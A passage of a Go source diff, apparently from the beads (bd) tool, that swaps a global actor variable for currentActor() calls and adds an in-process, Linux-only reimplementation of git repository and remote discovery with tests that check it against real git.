patch: patch, claim: in.claim, @@ -226,7 +226,7 @@ func proxiedUpdateTarget(ctx context.Context, id string, in *updateInput) (*type // mc-zndi7.74: also skipped when this pre-read is already stale against an // active --if-revision guard — see ifRevisionAlreadyStale's doc. if newAssignee, ok := in.fields["assignee"].(string); ok && in.ifAssignee == nil && !in.claim && !ifRevisionAlreadyStale(current, in.ifRevision) { - if err := validateIssueReassignable(id, current, actor, newAssignee, + if err := validateIssueReassignable(id, current, currentActor(), newAssignee, proxiedClaimPoolAliases(ctx), in.force); err != nil { fmt.Fprintf(os.Stderr, "%s\n", err) return nil, &updateIDFailure{ID: id, Error: err.Error()} diff --git a/cmd/bd/wisp.go b/cmd/bd/wisp.go index 329b1734f..a1b7ac27e 100644 --- a/cmd/bd/wisp.go +++ b/cmd/bd/wisp.go @@ -280,7 +280,7 @@ func runWispCreateCore(cmd *cobra.Command, args []string) error { result, err := spawnMoleculeWithOptions(ctx, store, subgraph, CloneOptions{ Vars: vars, - Actor: actor, + Actor: currentActor(), Ephemeral: true, Prefix: types.IDPrefixWisp, RootOnly: rootOnly, diff --git a/cmd/bd/wisp_proxied_server.go b/cmd/bd/wisp_proxied_server.go index edc727ea8..fd43df23b 100644 --- a/cmd/bd/wisp_proxied_server.go +++ b/cmd/bd/wisp_proxied_server.go @@ -92,7 +92,7 @@ func runWispCreateProxiedServer(ctx context.Context, in wispCreateInput) error { w := newUOWMolWriter(uw) spawnResult, err := cloneSubgraphInto(ctx, w, subgraph, CloneOptions{ Vars: vars, - Actor: actor, + Actor: currentActor(), Ephemeral: true, Prefix: types.IDPrefixWisp, RootOnly: in.rootOnly, @@ -189,7 +189,7 @@ func runWispGCProxiedServer(ctx context.Context, dryRun bool, ageThreshold time. IDs: ids, Cascade: false, UpdateTextReferences: true, - }, actor) + }, currentActor()) if err != nil { return domain.DeleteIssuesResult{}, "", err } @@ -320,7 +320,7 @@ func runWispPurgeClosedProxiedServer(ctx context.Context, dryRun, force bool, ex IDs: ids, Cascade: false, UpdateTextReferences: true, - }, actor) + }, currentActor()) if err != nil { return domain.DeleteIssuesResult{}, "", err } diff --git a/internal/beads/context.go b/internal/beads/context.go index 63c63394c..7db3b0ee8 100644 --- a/internal/beads/context.go +++ b/internal/beads/context.go @@ -314,13 +314,23 @@ func isExternalBeadsDir(beadsDir string) (bool, error) { // getGitCommonDirForPath returns the shared git directory for a path. // For worktrees, this returns the shared git directory (common to all worktrees). +// +// Every startup that builds a RepoContext asks this about the beads +// directory, so the answer comes from git.CommonDirInProcess when it can, +// with `git -C path rev-parse --git-common-dir` as the fallback. func getGitCommonDirForPath(path string) (string, error) { - cmd := exec.Command("git", "-C", path, "rev-parse", "--git-common-dir") - output, err := cmd.Output() - if err != nil { - return "", fmt.Errorf("failed to get git common dir for %s: %w", path, err) + result, isRepo, ok := git.CommonDirInProcess(path) + switch { + case ok && !isRepo: + return "", fmt.Errorf("failed to get git common dir for %s: not a git repository", path) + case !ok: + cmd := exec.Command("git", "-C", path, "rev-parse", "--git-common-dir") + output, err := cmd.Output() + if err != nil { + return "", fmt.Errorf("failed to get git common dir for %s: %w", path, err) + } + result = strings.TrimSpace(string(output)) } - result := strings.TrimSpace(string(output)) if !filepath.IsAbs(result) { absPath, err := filepath.Abs(path) diff --git a/internal/git/BUILD.bazel b/internal/git/BUILD.bazel index 4d259cd16..e36e0ec55 100644 --- a/internal/git/BUILD.bazel +++ b/internal/git/BUILD.bazel @@ -2,7 +2,12 @@ load("@rules_go//go:def.bzl", "go_library", "go_test") go_library( name = "git", - srcs = ["gitdir.go"], + srcs = [ + "discover_linux.go", + "discover_other.go", + "gitconfig_linux.go", + "gitdir.go", + ], importpath = "github.com/steveyegge/beads/internal/git", visibility = ["//:__subpackages__"], ) @@ -10,6 +15,7 @@ go_library( go_test( name = "git_test", srcs = [ + "discover_linux_test.go", "gitdir_test.go", "jujutsu_test.go", ], diff --git a/internal/git/discover_linux.go b/internal/git/discover_linux.go new file mode 100644 index 000000000..4f88fd903 --- /dev/null +++ b/internal/git/discover_linux.go @@ -0,0 +1,559 @@ +//go:build linux + +package git + +import ( + "bytes" + "errors" + "os" + "os/exec" + "path/filepath" + "regexp" + "strconv" + "strings" + "syscall" +) + +// discoveryEnvOverrides are the environment variables that change how Git +// finds or validates a repository. When any is present, discovery is left to +// git itself. The list is deliberately broader than strictly necessary: a +// fallback costs one subprocess, a wrong answer costs a wrong workspace. +var discoveryEnvOverrides = []string{ + "GIT_DIR", + "GIT_WORK_TREE", + "GIT_COMMON_DIR", + "GIT_CEILING_DIRECTORIES", + "GIT_DISCOVERY_ACROSS_FILESYSTEM", + "GIT_OBJECT_DIRECTORY", + "GIT_CONFIG_PARAMETERS", + "GIT_CONFIG_COUNT", + "GIT_TEST_ASSUME_DIFFERENT_OWNER", +} + +// discoverGitInProcess answers `git rev-parse --git-dir --git-common-dir +// --show-toplevel` for the process working directory without running git. ok +// is false whenever the layout is outside what it reproduces exactly; the +// caller then runs git. +func discoverGitInProcess() (revParseResult, bool) { + if discoveryEnvOverridden() { + return revParseResult{}, false + } + wd, err := processCwd() + if err != nil { + return revParseResult{}, false + } + return discoverGitFrom(wd) +} + +// processCwd is getcwd(2), as Git uses. os.Getwd prefers $PWD whenever it +// names the same inode as ".", which under bind-mount aliases (same device +// and inode, different ancestors) would walk a different path than git. +func processCwd() (string, error) { + return syscall.Getwd() +} + +// errNotGitRepositoryMountBoundary is the in-process counterpart of Git's +// "not a git repository (or any parent up to mount point ...)". +var errNotGitRepositoryMountBoundary = errors.New("no .git found in the working directory or any parent up to the filesystem boundary") + +// discoverGitFrom mirrors setup_git_directory_gently's discovery walk (Git +// 2.x) from cwd. Git walks the physical directory (getcwd), checks each +// directory's .git as a gitfile or a git directory, then the directory itself +// as a bare repository, and stops at the first filesystem boundary. +func discoverGitFrom(cwd string) (revParseResult, bool) { + cwd, err := filepath.EvalSymlinks(cwd) + if err != nil || !filepath.IsAbs(cwd) { + return revParseResult{}, false + } + cwd = filepath.Clean(cwd) + cwdStat := statOf(cwd) + if cwdStat == nil { + return revParseResult{}, false + } + + for dir := cwd; ; { + dotGit := filepath.Join(dir, ".git") + info, err := os.Lstat(dotGit) + switch { + case err == nil && info.Mode().IsDir(): + return discoveredGitDir(cwd, dir, dotGit) + case err == nil && info.Mode().IsRegular(): + return discoveredGitFile(dir, dotGit) + case err == nil: + // Symlinked .git, sockets, ...: let git decide. + return revParseResult{}, false + case !os.IsNotExist(err): + return revParseResult{}, false + } + // The directory itself may be a git directory (a bare repository, or + // somewhere inside a .git directory); git answers those differently. + if looksLikeGitDir(dir) { + return revParseResult{}, false + } + + parent := filepath.Dir(dir) + if parent == dir { + return revParseResult{notRepo: true}, true + } + parentStat := statOf(parent) + if parentStat == nil { + return revParseResult{}, false + } + if parentStat.Dev != cwdStat.Dev { + // Git stops at a mount point unless + // GIT_DISCOVERY_ACROSS_FILESYSTEM is set (handled by the caller). + return revParseResult{notRepo: true, notRepoErr: errNotGitRepositoryMountBoundary}, true + } + dir = parent + } +} + +// discoveredGitDir handles /.git being a directory. +func discoveredGitDir(cwd, top, gitDir string) (revParseResult, bool) { + // A .git directory carrying a commondir file is unusual; leave it to git. + if exists(filepath.Join(gitDir, "commondir")) { + return revParseResult{}, false + } + if !isGitDirectory(gitDir, gitDir) { + // Git would keep walking upward past an invalid .git directory. + return revParseResult{}, false + } + if !ownedByCurrentUser(top) || !ownedByCurrentUser(gitDir) { + return revParseResult{}, false + } + if worktree, ok := repoConfigAllowsDiscovery(gitDir); !ok || worktree != "" { + return revParseResult{}, false + } + if cwd == top { + return revParseResult{gitDir: ".git", commonDir: ".git", topLevel: top}, true + } + // From a subdirectory Git prints the git directory absolute and the common + // directory relative to the working directory. + rel, err := filepath.Rel(top, cwd) + if err != nil || rel == "." || strings.HasPrefix(rel, "..") { + return revParseResult{}, false + } + depth := len(strings.Split(rel, string(filepath.Separator))) + return revParseResult{ + gitDir: gitDir, + commonDir: strings.Repeat("../", depth) + ".git", + topLevel: top, + }, true +} + +// discoveredGitFile handles /.git being a gitfile ("gitdir: "), as +// in linked worktrees and submodules. +func discoveredGitFile(top, gitFile string) (revParseResult, bool) { + data, err := os.ReadFile(gitFile) // #nosec G304 -- the .git file Git itself would read during discovery + if err != nil { + return revParseResult{}, false + } + content := strings.TrimRight(string(data), "\r\n") + target, found := strings.CutPrefix(content, "gitdir: ") + if !found || target == "" || strings.ContainsAny(target, "\n\r\x00") { + return revParseResult{}, false + } + if !filepath.IsAbs(target) { + // Not filepath.Join: its lexical Clean would fold "link/.." before + // symlinks resolve, where Git's realpath resolves them physically + // (as EvalSymlinks does for ".." after a resolved component). + target = top + string(filepath.Separator) + target + } + gitDir, err := filepath.EvalSymlinks(target) + if err != nil { + return revParseResult{}, false + } + commonDir := gitDir + if raw, err := os.ReadFile(filepath.Join(gitDir, "commondir")); err == nil { + common := strings.TrimRight(string(raw), "\r\n") + if common == "" || strings.ContainsAny(common, "\n\r\x00") { + return revParseResult{}, false + } + if !filepath.IsAbs(common) { + common = gitDir + string(filepath.Separator) + common // physical "..", as above + } + if commonDir, err = filepath.EvalSymlinks(common); err != nil { + return revParseResult{}, false + } + } else if !os.IsNotExist(err) { + return revParseResult{}, false + } + if !isGitDirectory(gitDir, commonDir) { + return revParseResult{}, false + } + if !ownedByCurrentUser(gitFile) || !ownedByCurrentUser(top) || !ownedByCurrentUser(gitDir) { + return revParseResult{}, false + } + worktree, ok := repoConfigAllowsDiscovery(commonDir) + if !ok { + return revParseResult{}, false + } + if worktree != "" && !submoduleWorktreeIs(gitDir, commonDir, worktree, top) { + return revParseResult{}, false + } + // Git prints both absolute from anywhere in the work tree. + return revParseResult{gitDir: gitDir, commonDir: commonDir, topLevel: top}, true +} + +// isGitDirectory mirrors Git's is_git_directory: a valid HEAD in the git +// directory, objects/ and refs/ in the common directory. +func isGitDirectory(gitDir, commonDir string) bool { + if !validHeadRef(filepath.Join(gitDir, "HEAD")) { + return false + } + return isDir(filepath.Join(commonDir, "objects")) && isDir(filepath.Join(commonDir, "refs")) +} + +// looksLikeGitDir is a cheap superset test for "git might treat dir as a git +// directory"; a hit only means discovery is handed to git. +func looksLikeGitDir(dir string) bool { + return exists(filepath.Join(dir, "HEAD")) && + (exists(filepath.Join(dir, "objects")) || exists(filepath.Join(dir, "commondir"))) +} + +// validHeadRef accepts the HEAD forms Git's validate_headref does for the +// files it writes itself: "ref: refs/..." or a full object id. Symlinked HEAD +// (an ancient layout) is left to git. +func validHeadRef(path string) bool { + info, err := os.Lstat(path) + if err != nil || !info.Mode().IsRegular() { + return false + } + data, err := os.ReadFile(path) // #nosec G304 -- HEAD of the discovered git directory + if err != nil { + return false + } + if ref, ok := bytes.CutPrefix(data, []byte("ref:")); ok { + return bytes.HasPrefix(bytes.TrimLeft(ref, " \t"), []byte("refs/")) + } + line := strings.TrimRight(string(data), "\r\n") + if len(line) != 40 && len(line) != 64 { + return false + } + for _, c := range line { + if !strings.ContainsRune("0123456789abcdef", c) { + return false + } + } + return true +} + +// submoduleWorktreeIs reports whether a gitfile repository's core.worktree +// names exactly the directory holding the gitfile. Git writes that for every +// submodule (core.worktree = ../../../sub in .git/modules/sub/config), and Git +// then resolves the work tree by chdir(gitdir) + chdir(core.worktree), which +// lands on top again. Only that plain shape is accepted: a separate git +// directory (no shared common directory) and a value of leading "../" +// segments followed by plain names, which resolves lexically from the +// already-physical git directory exactly as the chdirs do. +func submoduleWorktreeIs(gitDir, commonDir, worktree, top string) bool { + if gitDir != commonDir || filepath.IsAbs(worktree) { + return false + } + rest := filepath.ToSlash(filepath.Clean(worktree)) + if rest != worktree && rest+"/" != worktree { + return false + } + for strings.HasPrefix(rest, "../") { + rest = rest[len("../"):] + } + for _, part := range strings.Split(rest, "/") { + if part == "" || part == "." || part == ".." { + return false + } + } + resolved, err := filepath.EvalSymlinks(filepath.Join(gitDir, worktree)) + return err == nil && resolved == top +} + +// repoConfigAllowsDiscovery reports whether the repository config leaves +// Git's answer to the plain discovery result, and returns core.worktree when +// it is set (the caller decides whether it is the submodule shape). Git +// consults only the repository's own config file here +// (read_repository_format), so global and system config cannot move the work +// tree. Anything else that could — core.bare, extensions (worktreeConfig, +// unknown ones Git rejects), a format version Git refuses, include +// directives, a repeated core.worktree, or any line scanGitConfig does not +// fully understand (where Git might honor or reject it) — sends discovery to +// git. +func repoConfigAllowsDiscovery(commonDir string) (worktree string, ok bool) { + ok = scanGitConfig(filepath.Join(commonDir, "config"), func(e gitConfigEntry) bool { + if strings.HasPrefix(e.section, "include") || e.section == "extensions" { + return false + } + if e.section != "core" || e.subsection != nil { + return true + } + switch e.key { + case "worktree": + if worktree != "" || !e.hasValue || e.value == "" || strings.ContainsAny(e.rawValue, "\"#;") { + return false + } + worktree = e.value + case "bare": + if !e.hasValue { + return false // a bare "bare" key means true + } + switch strings.ToLower(e.value) { + case "false", "no", "off", "0": + default: + return false + } + case "repositoryformatversion": + if v, err := strconv.Atoi(e.value); err != nil || v < 0 || v > 1 { + return false + } + } + return true + }) + if !ok { + return "", false + } + return worktree, true +} + +// ownedByCurrentUser mirrors Git's is_path_owned_by_current_uid (lstat, owner +// equals the effective uid). Git's sudo allowance (root with SUDO_UID) is left +// to git. A path owned by someone else engages safe.directory, which only git +// evaluates. +func ownedByCurrentUser(path string) bool { + euid := os.Geteuid() + if euid == 0 { + if _, set := os.LookupEnv("SUDO_UID"); set { + return false + } + } + info, err := os.Lstat(path) + if err != nil { + return false + } + st, ok := info.Sys().(*syscall.Stat_t) + return ok && int(st.Uid) == euid +} + +// statOf returns path's stat data (following symlinks, as Git's +// get_device_or_die does), or nil. +func statOf(path string) *syscall.Stat_t { + info, err := os.Stat(path) + if err != nil { + return nil + } + st, _ := info.Sys().(*syscall.Stat_t) + return st +} + +func exists(path string) bool { + _, err := os.Lstat(path) + return err == nil +} + +func isDir(path string) bool { + info, err := os.Stat(path) + return err == nil && info.IsDir() +} + +// CommonDirInProcess answers `git -C dir rev-parse --git-common-dir` without +// running git, in git's own spelling (relative to dir's physical location +// when git prints it relative). isRepo is false where git would fail with +// "not a git repository". ok is false whenever discoverGitInProcess would +// decline; the caller then runs git. +func CommonDirInProcess(dir string) (commonDir string, isRepo, ok bool) { + if discoveryEnvOverridden() { + return "", false, false + } + abs, err := filepath.Abs(dir) + if err != nil { + return "", false, false + } + raw, ok := discoverGitFrom(abs) + if !ok { + return "", false, false + } + if raw.notRepo { + return "", false, true + } + return raw.commonDir, true, true +} + +// HasRemoteInProcess answers "does `git remote` in dir print anything" (dir +// "" is the process working directory) without running git, or ok=false. +// +// `git remote` lists every remote that any config scope defines a +// remote..* key for, and fails outside a repository. The answer is +// given only when every file git would read — system, global (XDG and +// ~/.gitconfig, or GIT_CONFIG_GLOBAL), and the repository's own config — is +// absent or within scanGitConfig's grammar and free of include directives, +// the repository is one discoverGitFrom answers for, and no environment +// variable adds config or redirects discovery. The system file's location is +// compiled into git; the candidates are /etc/gitconfig and /etc/gitconfig +// for the git found on PATH (as invoked and with symlinks resolved), and a +// remote seen only in a system candidate declines rather than guess which one +// git reads. +func HasRemoteInProcess(dir string) (has, ok bool) { + if discoveryEnvOverridden() { + return false, false + } + if _, set := os.LookupEnv("GIT_CONFIG"); set { + return false, false + } + if dir == "" { + wd, err := processCwd() + if err != nil { + return false, false + } + dir = wd + } + abs, err := filepath.Abs(dir) + if err != nil { + return false, false + } + physical, err := filepath.EvalSymlinks(abs) + if err != nil { + return false, false + } + raw, ok := discoverGitFrom(physical) + if !ok { + return false, false + } + if raw.notRepo { + return false, true // `git remote` exits 128 outside a repository + } + commonDir := raw.commonDir + if !filepath.IsAbs(commonDir) { + commonDir = filepath.Join(physical, commonDir) + } + // Legacy remote definitions (.git/remotes/*, .git/branches/*) are not + // listed by `git remote`, but are not modeled either: decline if present. + for _, legacy := range []string{"remotes", "branches"} { + if entries, err := os.ReadDir(filepath.Join(commonDir, legacy)); err == nil && len(entries) > 0 { + return false, false + } else if err != nil && !os.IsNotExist(err) { + return false, false + } + } + + system, ok := systemConfigCandidates() + if !ok { + return false, false + } + global, ok := globalConfigFiles() + if !ok { + return false, false + } + inSystem, inOther := false, false + for _, scope := range []struct { + files []string + system bool + }{{system, true}, {global, false}, {[]string{filepath.Join(commonDir, "config")}, false}} { + for _, file := range scope.files { + found, ok := configDefinesRemote(file) + if !ok { + return false, false + } + if found && scope.system { + inSystem = true + } else if found { + inOther = true + } + } + } + switch { + case inOther: + return true, true + case inSystem: + return false, false + default: + return false, true + } +} + +// remoteName is the remote-name shape answered in-process; git ignores names +// starting with "/" and accepts many others this does not model. +var remoteName = regexp.MustCompile(`^[A-Za-z0-9._-]+$`) + +// configDefinesRemote reports whether file defines a remote..* key. +func configDefinesRemote(file string) (found, ok bool) { + ok = scanGitConfig(file, func(e gitConfigEntry) bool { + if strings.HasPrefix(e.section, "include") { + return false + } + if e.section != "remote" || e.subsection == nil { + return true // remote.pushDefault and friends define no remote + } + if !remoteName.MatchString(*e.subsection) { + return false + } + found = true + return true + }) + return found, ok +} + +// globalConfigFiles mirrors git_global_config. +func globalConfigFiles() ([]string, bool) { + if global, set := os.LookupEnv("GIT_CONFIG_GLOBAL"); set { + if global == "" || !filepath.IsAbs(global) { + return nil, false + } + return []string{global}, true + } + home := os.Getenv("HOME") + if home == "" || !filepath.IsAbs(home) { + return nil, false + } + xdg := filepath.Join(home, ".config", "git", "config") + if x := os.Getenv("XDG_CONFIG_HOME"); x != "" { + if !filepath.IsAbs(x) { + return nil, false + } + xdg = filepath.Join(x, "git", "config") + } + return []string{xdg, filepath.Join(home, ".gitconfig")}, true +} + +// systemConfigCandidates mirrors git_system_config, with the compiled-in +// ETC_GITCONFIG approximated as described on HasRemoteInProcess. +func systemConfigCandidates() ([]string, bool) { + if v, set := os.LookupEnv("GIT_CONFIG_NOSYSTEM"); set { + switch strings.ToLower(v) { + case "1", "true", "yes", "on": + return nil, true + case "", "0", "false", "no", "off": + default: + return nil, false + } + } + if system, set := os.LookupEnv("GIT_CONFIG_SYSTEM"); set { + if system == "" || !filepath.IsAbs(system) { + return nil, false + } + return []string{system}, true + } + bin, err := exec.LookPath("git") + if err != nil || !filepath.IsAbs(bin) { + return nil, false + } + candidates := []string{"/etc/gitconfig"} + paths := []string{bin} + if resolved, err := filepath.EvalSymlinks(bin); err == nil { + paths = append(paths, resolved) + } + for _, p := range paths { + if filepath.Base(filepath.Dir(p)) != "bin" { + return nil, false + } + if prefix := filepath.Dir(filepath.Dir(p)); prefix != "/usr" { + candidates = append(candidates, filepath.Join(prefix, "etc", "gitconfig")) + } + } + return candidates, true +} + +func discoveryEnvOverridden() bool { + for _, name := range discoveryEnvOverrides { + if _, set := os.LookupEnv(name); set { + return true + } + } + return false +} diff --git a/internal/git/discover_linux_test.go b/internal/git/discover_linux_test.go new file mode 100644 index 000000000..04d111f25 --- /dev/null +++ b/internal/git/discover_linux_test.go @@ -0,0 +1,471 @@ +//go:build linux + +package git + +import ( + "os" + "os/exec" + "path/filepath" + "strings" + "testing" +) + +// discoveryFixtureEnv is the environment fixture git runs under: the process +// environment minus every discovery override, with no system or user config. +func discoveryFixtureEnv(t *testing.T) []string { + t.Helper() + var env []string + for _, kv := range os.Environ() { + name, _, _ := strings.Cut(kv, "=") + if strings.HasPrefix(name, "GIT_") || name == "HOME" { + continue + } + env = append(env, kv) + } + return append(env, "HOME="+t.TempDir(), "GIT_CONFIG_NOSYSTEM=1", + "GIT_AUTHOR_NAME=t", "GIT_AUTHOR_EMAIL=t@example.com", + "GIT_COMMITTER_NAME=t", "GIT_COMMITTER_EMAIL=t@example.com") +} + +func runFixtureGit(t *testing.T, env []string, dir string, args ...string) string { + t.Helper() + cmd := gitCommand(args...) + cmd.Dir, cmd.Env = dir, env + out, err := cmd.CombinedOutput() + if err != nil { + t.Fatalf("git %s in %s: %v\n%s", strings.Join(args, " "), dir, err, out) + } + return string(out) +} + +// gitRevParse is the reference answer discoverGitFrom must reproduce. +func gitRevParse(t *testing.T, env []string, dir string) revParseResult { + t.Helper() + cmd := exec.Command("git", "rev-parse", "--git-dir", "--git-common-dir", "--show-toplevel") + cmd.Dir, cmd.Env = dir, env + out, err := cmd.Output() + if err != nil { + return revParseResult{notRepo: true} + } + lines := strings.Split(strings.TrimSpace(string(out)), "\n") + if len(lines) != 3 { + t.Fatalf("git rev-parse in %s: unexpected output %q", dir, out) + } + return revParseResult{gitDir: lines[0], commonDir: lines[1], topLevel: lines[2]} +} + +type discoveryFixture struct { + root, main, worktree, relWorktree, symWorktree, submodule, nested string + env []string +} + +func newDiscoveryFixture(t *testing.T) discoveryFixture { + t.Helper() + root, err := filepath.EvalSymlinks(t.TempDir()) + if err != nil { + t.Fatal(err) + } + env := discoveryFixtureEnv(t) + f := discoveryFixture{ + root: root, + main: filepath.Join(root, "main"), + worktree: filepath.Join(root, "wt"), + relWorktree: filepath.Join(root, "wt-rel"), + symWorktree: filepath.Join(root, "wt-sym"), + env: env, + } + f.submodule = filepath.Join(f.main, "sub") + f.nested = filepath.Join(f.main, "a", "inner") + subSrc := filepath.Join(root, "subsrc") + for _, dir := range []string{f.main, subSrc, filepath.Join(f.main, "a", "b"), f.nested, filepath.Join(root, "norepo", "x")} { + if err := os.MkdirAll(dir, 0o750); err != nil { + t.Fatal(err) + } + } + for _, dir := range []string{f.main, subSrc} { + runFixtureGit(t, env, dir, "init", "-q") + runFixtureGit(t, env, dir, "commit", "-q", "--allow-empty", "-m", "base") + } + runFixtureGit(t, env, f.main, "worktree", "add", "-q", f.worktree) + runFixtureGit(t, env, f.main, "worktree", "add", "-q", f.relWorktree) + // A relative gitfile, as `git worktree add --relative-paths` (or a moved + // checkout) writes it. + if err := os.WriteFile(filepath.Join(f.relWorktree, ".git"), []byte("gitdir: ../main/.git/worktrees/wt-rel\n"), 0o600); err != nil { + t.Fatal(err) + } + // A gitfile naming its git directory through a symlink: Git prints the + // resolved path. + runFixtureGit(t, env, f.main, "worktree", "add", "-q", f.symWorktree) + if err := os.Symlink(filepath.Join(f.main, ".git"), filepath.Join(root, "gitlink")); err != nil { + t.Fatal(err) + } + if err := os.WriteFile(filepath.Join(f.symWorktree, ".git"), []byte("gitdir: "+filepath.Join(root, "gitlink", "worktrees", "wt-sym")+"\n"), 0o600); err != nil { + t.Fatal(err) + } + runFixtureGit(t, env, f.main, "-c", "protocol.file.allow=always", "submodule", "add", "-q", subSrc, "sub") + runFixtureGit(t, env, f.nested, "init", "-q") + for _, dir := range []string{filepath.Join(f.worktree, "w"), filepath.Join(f.submodule, "s"), filepath.Join(f.nested, "deep")} { + if err := os.MkdirAll(dir, 0o750); err != nil { + t.Fatal(err) + } + } + if err := os.Symlink(f.main, filepath.Join(root, "link")); err != nil { + t.Fatal(err) + } + return f +} + +// resolvedLikeStartup is what bd's startup derives for dir: the in-process +// answer when discovery gives one, else git's. +func resolvedLikeStartup(dir string, env []string) (gitContext, bool) { + if raw, ok := discoverGitFrom(dir); ok { + return gitContextFromRevParse(dir, raw), true + } + return loadGitContext(dir, env), false +} + +// assertSameAsGit checks the startup-derived context for dir against the git +// subprocess's: same failure, or the same paths. +func assertSameAsGit(t *testing.T, env []string, dir string) { + t.Helper() + got, _ := resolvedLikeStartup(dir, env) + want := loadGitContext(dir, env) + if (got.err != nil) != (want.err != nil) { + t.Fatalf("in %s: startup err %v, git err %v", dir, got.err, want.err) + } + if got.gitDirRaw != want.gitDirRaw || got.commonDir != want.commonDir || + got.repoRoot != want.repoRoot || got.isWorktree != want.isWorktree { + t.Fatalf("in %s: startup %+v, git %+v", dir, got, want) + } +} + +// repoWithRawConfig makes a repository and replaces its config file. +func repoWithRawConfig(t *testing.T, env []string, config string) string { + t.Helper() + dir := filepath.Join(t.TempDir(), "r") + runFixtureGit(t, env, t.TempDir(), "init", "-q", dir) + if err := os.WriteFile(filepath.Join(dir, ".git", "config"), []byte(config), 0o600); err != nil { + t.Fatal(err) + } + return dir +} + +const plainRepoConfig = "[core]\n\trepositoryformatversion = 0\n\tfilemode = true\n\tbare = false\n\tlogallrefupdates = true\n" + +// TestDiscoverGitFromMatchesRevParse is the equivalence contract: wherever +// in-process discovery answers, its answer is byte-for-byte what `git +// rev-parse --git-dir --git-common-dir --show-toplevel` prints there. +func TestDiscoverGitFromMatchesRevParse(t *testing.T) { + f := newDiscoveryFixture(t) + for _, tc := range []struct{ name, dir string }{ + {"repo top", f.main}, + {"repo subdir", filepath.Join(f.main, "a", "b")}, + {"repo first-level subdir", filepath.Join(f.main, "a")}, + {"linked worktree top", f.worktree}, + {"linked worktree subdir", filepath.Join(f.worktree, "w")}, + {"linked worktree with relative gitfile", f.relWorktree}, + {"linked worktree with gitfile through a symlink", f.symWorktree}, + {"submodule top", f.submodule}, + {"submodule subdir", filepath.Join(f.submodule, "s")}, + {"nested repo top", f.nested}, + {"nested repo subdir", filepath.Join(f.nested, "deep")}, + {"symlinked path to repo top", filepath.Join(f.root, "link")}, + {"symlinked path to repo subdir", filepath.Join(f.root, "link", "a", "b")}, + // No ancestor of a fresh temp directory is a repository, so this is + // answered in-process (by the walk reaching / or a mount boundary). + {"no repository", filepath.Join(f.root, "norepo", "x")}, + {"config with a UTF-8 BOM", repoWithRawConfig(t, f.env, "\xef\xbb\xbf"+plainRepoConfig)}, + {"config with CRLF and comments", repoWithRawConfig(t, f.env, + "# leading comment\r\n[core] ; header comment\r\n\tbare = false # trailing\r\n[remote \"origin\"]\r\n\turl = \"/x y\"\r\n")}, + } { + t.Run(tc.name, func(t *testing.T) { + got, ok := discoverGitFrom(tc.dir) + if !ok { + t.Fatalf("discoverGitFrom(%s) declined; want an in-process answer", tc.dir) + } + if want := gitRevParse(t, f.env, tc.dir); got != want { + t.Fatalf("discoverGitFrom(%s) = %+v, git rev-parse = %+v", tc.dir, got, want) + } + assertSameAsGit(t, f.env, tc.dir) + }) + } +} + +// TestDiscoverGitFromDeclinesUnmodeledLayouts covers the layouts in-process +// discovery must hand to git rather than guess, and checks that what startup +// then derives (from git) is git's answer. +func TestDiscoverGitFromDeclinesUnmodeledLayouts(t *testing.T) { + f := newDiscoveryFixture(t) + repoWithConfig := func(t *testing.T, args ...string) string { + t.Helper() + dir := filepath.Join(t.TempDir(), "r") + runFixtureGit(t, f.env, t.TempDir(), "init", "-q", dir) + runFixtureGit(t, f.env, dir, append([]string{"config"}, args...)...) + return dir + } + mkdir := func(t *testing.T, parts ...string) string { + t.Helper() + dir := filepath.Join(parts...) + if err := os.MkdirAll(dir, 0o750); err != nil { + t.Fatal(err) + } + return dir + } + invalidGitfile := mkdir(t, t.TempDir(), "badfile") + if err := os.WriteFile(filepath.Join(invalidGitfile, ".git"), []byte("not a gitfile\n"), 0o600); err != nil { + t.Fatal(err) + } + symlinkedDotGit := mkdir(t, t.TempDir(), "symlinked") + if err := os.Symlink(filepath.Join(f.main, ".git"), filepath.Join(symlinkedDotGit, ".git")); err != nil { + t.Fatal(err) + } + bare := filepath.Join(t.TempDir(), "bare.git") + runFixtureGit(t, f.env, t.TempDir(), "init", "-q", "--bare", bare) + bareSub := mkdir(t, bare, "sub") // below a bare repository: the walk meets HEAD+objects + commondirInDotGit := repoWithConfig(t, "core.filemode", "true") + if err := os.WriteFile(filepath.Join(commondirInDotGit, ".git", "commondir"), []byte(".\n"), 0o600); err != nil { + t.Fatal(err) + } + for _, tc := range []struct{ name, dir string }{ + {"core.worktree", repoWithConfig(t, "core.worktree", t.TempDir())}, + {"core.bare", repoWithConfig(t, "core.bare", "true")}, + {"extensions.worktreeConfig", repoWithConfig(t, "extensions.worktreeConfig", "true")}, + {"include directive", repoWithConfig(t, "include.path", "/dev/null")}, + // Git skips a leading BOM and honors the section after it. + {"BOM then core.worktree", repoWithRawConfig(t, f.env, "\xef\xbb\xbf[core]\n\tworktree = "+t.TempDir()+"\n")}, + {"header with inner spaces", repoWithRawConfig(t, f.env, "[ core ]\n\tbare = false\n")}, + {"header with leading whitespace", repoWithRawConfig(t, f.env, " [core]\n\tbare = false\n")}, + {"malformed key line", repoWithRawConfig(t, f.env, plainRepoConfig+"!!! = x\n")}, + {"key before any section", repoWithRawConfig(t, f.env, "bare = false\n"+plainRepoConfig)}, + {"key on the header line", repoWithRawConfig(t, f.env, "[core] bare = false\n")}, + {"escaped value", repoWithRawConfig(t, f.env, plainRepoConfig+"[alias]\n\tx = \"a\\tb\"\n")}, + {"unterminated quote", repoWithRawConfig(t, f.env, plainRepoConfig+"[alias]\n\tx = \"a\n")}, + {"continuation line", repoWithRawConfig(t, f.env, plainRepoConfig+"[alias]\n\tx = a \\\n b\n")}, + {"dotted section", repoWithRawConfig(t, f.env, "[core.x]\n\ty = 1\n"+plainRepoConfig)}, + {"inside the git directory", filepath.Join(f.main, ".git", "refs")}, + {"bare repository", bare}, + {"below a bare repository", bareSub}, + {"commondir inside .git", commondirInDotGit}, + {"invalid gitfile", invalidGitfile}, + {"symlinked .git", symlinkedDotGit}, + } { + t.Run(tc.name, func(t *testing.T) { + if got, ok := discoverGitFrom(tc.dir); ok { + t.Fatalf("discoverGitFrom(%s) = %+v; want it to defer to git", tc.dir, got) + } + assertSameAsGit(t, f.env, tc.dir) + }) + } +} + +// TestDiscoverGitInProcessUsesPhysicalCwd: Git walks from getcwd(2); a $PWD +// naming the same directory through another path (a symlink here; a bind +// mount alias in containers) must not change the walk. +func TestDiscoverGitInProcessUsesPhysicalCwd(t *testing.T) { + f := newDiscoveryFixture(t) + physical := filepath.Join(f.main, "a", "b") + alias := filepath.Join(f.root, "link", "a", "b") + t.Chdir(physical) + t.Setenv("PWD", alias) + if wd, err := os.Getwd(); err != nil || wd != alias { + t.Fatalf("os.Getwd() 